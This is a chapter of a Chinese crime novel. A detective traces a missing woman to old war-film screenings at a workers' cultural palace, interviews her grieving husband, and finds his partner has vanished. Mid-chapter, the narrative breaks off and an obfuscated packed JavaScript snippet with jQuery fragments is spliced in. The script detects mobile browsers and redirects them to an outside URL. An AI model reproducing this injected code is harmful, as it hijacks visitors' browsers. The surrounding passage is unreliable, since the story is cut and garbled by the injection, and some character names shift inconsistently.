12


    蒋炎武调取了李秀娟的微信转账流水，果然，每逢周三下午，都有一笔十五元的固定转账，收款方挂名“威北市工人文化宫影视培训部”，户主徐宝根。他将截图推给老陈，附了句：查徐宝根。


    再筛李秀娟的通话基站轨迹，去年十二月迄今年三月，每月首尾那两周的周三下午，其信号确凿锚定在文化宫五百米半径内。且下午四时至七时，整整三个时辰，没有任何通话记录。


    时间、地点、转账，三端严丝合缝。


    四十多天。刑侦黄金期早已糜烂。前期排查囿于城北片区，走访二百一十七户，问询八十九人，笔录摞起两寸厚，俱是死胡同。李秀娟像一滴水，蒸发在威北的四月天里。


    唯独这行数据，像暗室里偶然曝光的底片，幽幽地，浮出个模糊人影。


    蒋炎武与小周驱车至文化宫。五十年代苏式建筑，灰砖勾缝，红漆斑斓，门楣上“工人文化宫”五枚铜字锈成了暗绿，笔画间翳着灰垢。推门有一股霉朽的凉意，两侧贴满海报：《小兵张嘎》、《地道战》、《风云儿女》、《打击侵略者》……颜色寡得只剩赭褐与靛蓝。


    培训班负责人徐宝根七十有六，身体硬朗，翻检报名记录，说李秀娟去年十一月登的名，缴了三个月的钞票。


    “学跳舞？”


    “不是跳舞的事体。”徐宝根摇头，口音粘着吴语尾子，“这一片全是我管的咯。看见那扇门伐，”他下巴颏指了指走廊尽头那扇包铁木门，“胶片区，原先只周末放老片子。她跑来寻我商量的，讲礼拜三能不能也放，她过来看，看一趟十五块，算茶水钿、片子钿咯。”


    “都有什么片子？”


    “要不我哪能记得牢她。”徐宝根眼珠上翻，从记忆里捞东西，“翻来覆去就看六七十年代纪录片，《渡江侦察记》《南征北战》《洪湖赤卫队》，放一遍看一遍，看一遍放一遍，不腻的。”


    “她坐哪个位置？”


    “最后一排，靠门边那个角头。”他比划了一下，“那地方暗黢黢的，离银幕远，人脸照勿清楚。我忖她是勿愿意叫人认出来。”


    “放完就走？”


    “勿走咯。”徐宝根拖长了尾音，“散场了还坐在海块发呆，两只眼睛定洋洋盯着银幕。有时坐半个钟头，有时一个钟头，”他歪头想了想，“有一回我问她，你咯看片子是寻啥物事伐？她讲寻人。我就更加弄勿明白了。转去跟我老太婆讲，老太婆讲，八成是电影工作者屋里厢人，转来忆苦思甜咯。她还问过我，有没有1945年之前的老片子，我跟她说，寻寻看咯。”


    李秀娟生于1974年，1945年与她无涉。那是抗战胜利的年份，是她父辈祖辈的纪年，与她隔着层血脉。


    蒋炎武走到最后一排靠门的位置坐下。


    银幕空着，灰白一片。放映孔里漏进一束光，浮尘在光柱里缓缓游动。蒋炎武模拟着李秀娟的坐姿，盯着银幕，看光影憧憧，看炮火隐隐，那是半个世纪前的烽烟，黑白的，黢黑的，是被胶片固定下来的旧鬼魂。她看见了什么？又或者，她以为能看见什么？


    李秀娟的户籍档案之前调取过。很薄，原籍甘肃定西，九十年代初远嫁威北。父母早亡，无兄弟姐妹，配偶跑长途，大她九岁，本地人。远嫁意味着断根，父母双亡意味着无所依傍。这样的人，常会把全部念想系在丈夫和孩子身上。可她偏偏往胶片区跑，往黑白故事里钻，往1945年的炮火里望。


    两个女儿说母亲乏味，一个说黑白电影看了八百遍，另一个说是九百遍。一个说母亲常哭，另一个说母亲也笑，笑着哭，哭着笑，哭笑不得。


    从文化宫出来，蒋炎武拨通了李秀娟丈夫的电话。那头沉默良久，才报了个地址，城北一处待拆的棚户区。


    男人叫田福根，正在卸车，看到蒋炎武，双手忙蹭裤子。李秀娟失踪后，他跑不动大货了，两个女儿童心重，离不了人，只好在近处寻些零活，搬搬抬抬，饥一顿饱一顿地凑合。他眼窝塌陷，胡茬是经冬的枯草。他把蒋炎武让进窄屋，回身去拎暖壶，一拎是空的，他愣在那，进退失据，很窘迫。


    说起妻子，田福根话头断断续续，“我不常在家的，在家的日子她会笑得稠一些。会让闺女去邻居家耍，穿上那条蓝色花裙子，做几个硬菜，烧鱼，炖肉，油炸花生米，我俩从餐桌滚到被窝。她刚来的时候吃不惯这边口味，嘴寡淡，我从长途路上给她捎吃的，还会捎些用的，她喜欢亮晶晶，那些小东西，就发卡耳坠的，攒了一铁盒，都是我买的，没事就翻出来看。”


    蒋炎武掏出那张银戒指照片，递过去，认识这个人吗？


    李福根盯着照片，眼珠定住，不知是否联想到可能出轨的结局，他摇首如拨浪鼓，青筋也炸起了，再问，便讷讷无言，只把头埋进大掌里。


    李秀娟对门住着个陈姓老妪，之前走访过，退休的小学教师，嘴碎心热。她说秀娟寡语，实诚。田福根灌了猫尿就瞎嚷，她从不接茬，常半夜一个人在楼梯口坐着。有一回陈老太起夜，瞥见团黑影，凑近看是秀娟在啃冷馍，喉头一梗一梗，她说饿得睡不着，就着夜色嚼几口。老太转身去给她倒水的工夫，回来人却没了。


    秀娟像是被一层薄膜隔在生活之外。做母亲，粗疏；做妻子，寡淡。一日三餐在她手里走个过场，吃什么都是嚼蜡。她没嗜好，不串门，不打牌，不跳广场舞，就往文化宫跑，一遍，两遍，三遍，银幕上的炮火轰了又轰，她坐在暗处纹丝不动。


    蒋炎武要跟严箐箐汇报，可她失联了，信息信息不回，电话电话不接。


    办案最忌什么？忌单线冒进，忌信息断崖，忌搭档在你最需要合围的时候玩失踪。刑侦是协同的活计，钉子再深也得有人扶着錾子。眼下线索刚冒头，还是嫩芽，一掐就断，可那个该扶錾子的人，没了。


    他驱车往城中村去。


    严菁菁租住的那间房，无人应答。蒋炎武趴着窗户往里窥，床板光秃，被褥消失，那盆半死不活的蒜苗也没了。人去房空。


    他拿水晶晶小姐的卡片拨钟姨电话，钟姨这才知晓严菁菁的不告而别，登时惊得咋咋呼呼，这是违约啊违约。开了锁进了门


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17208675|196306||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    ，蒋炎武里外逡巡一圈，只剩角落里的一个空气炸锅，还敞着口。


    他又拨了两遍，还是“暂时无法接通”。


    要不要问罗局？念头刚起，就被蒋炎武压了下去。


    一旦开口，就是汇报。话这东西，能往宽处带，也能往窄处引，全看接话的人心里揣着哪杆秤。机关里待久了，最明白一个理儿：舌根子比腿勤快。话过三张嘴，鱼过三道鳞，再稀松平常的事也能传得皮开肉绽。


    老郑那句提点他记了许多年。没提上去的人，眼里看谁都是钉子。他刚往上升了半级，暗处早有人磨牙。这会儿严菁菁失联的事漏出去，不知要裹挟多少是非，搅起多大风浪。那口舆论的油锅，翻腾起来烫的是谁，没人说得清。


    他摸进城中村监控室，一帧帧地扒画面，两个钟头拼出一条完整的逃遁路线。


    屏幕里，严菁菁像条泥鳅，在成片的窄巷里运斤成风。身后两条尾巴，口罩压着，帽檐遮着，有一人的右腿迈步时略微拖曳，像旧伤未愈。严箐箐明显道高一丈，她在楼顶武侠片一样的纵身、翻飞，落地，独来独往，视生死为无物。


    某一刹那，蒋炎武在她身上看见了警察这两个字最原始的写法。


    他按图索骥，循着她消失的路径走了一遍，直至没出城中村。巷子里浮着一层灰蒙的暮色，蒋炎武把烟头摁灭在电线杆上，火星呲一声灭了。


    如果那两条尾巴不是普通盯梢呢？如果她当真身陷险境，此刻正在某处角落无人知晓呢？


    蒋炎武把烟盒一攥，狠狠扔进垃圾桶。


    这念头一旦生根，便疯长起来。他掏出手机，迟迟盯着那串号码。


    蒋炎武这人，正得发邪。受案便立案，立案便侦办，侦办便移诉。每个环节他钉是钉铆是铆，不逾雷池半步。不抄近道，不打折扣，不在程序上给自己留半寸喘息。


    从警校到支队，每个教官都说他太板正，不够活泛。教官们不知道，他私下其实爱笑。笑起来一排大白牙龇着，眼褶堆成了三道纹，像个没心没肺的乡下青年。


    蒋家那摊人，人前人后要体面，满身满脸都是钻营。那些话日日悬在蒋炎武的脑门上，你得往上爬，你得位置坐稳，你得人上人。这强弓硬弩的要求压在他脊梁上，他只能挺，把自己淬成块不生锈的钢铁。他厌烦，他们逼他走的这条路，恰恰是他最瞧不起的活法。


    蒋炎武终于决定拨打那个号码。


    电话接通，在等他开口。


    蒋炎武深吸一口气，把监控里的时间、地点、那人走路拖曳的姿态，一五一十全说了。说完顿了半晌，“我知道你和她的关系，那个空气炸锅就是你带来的，你知道她被跟踪的事，对吧，她在哪？”


    殷天正驱车往郭锡枰家送材料，方向盘打得行云流水。米和在副驾上，垂首翻阅着《诉讼证据收转清单》。车载通话声音不小，满车都是蒋炎武低沉的声音。


    殷天正要开口。


    米和先干笑起来，钢笔在签名栏落下，笔锋干脆利落，“可以信任你吗，蒋副队？你可是卖过队友的人呐。”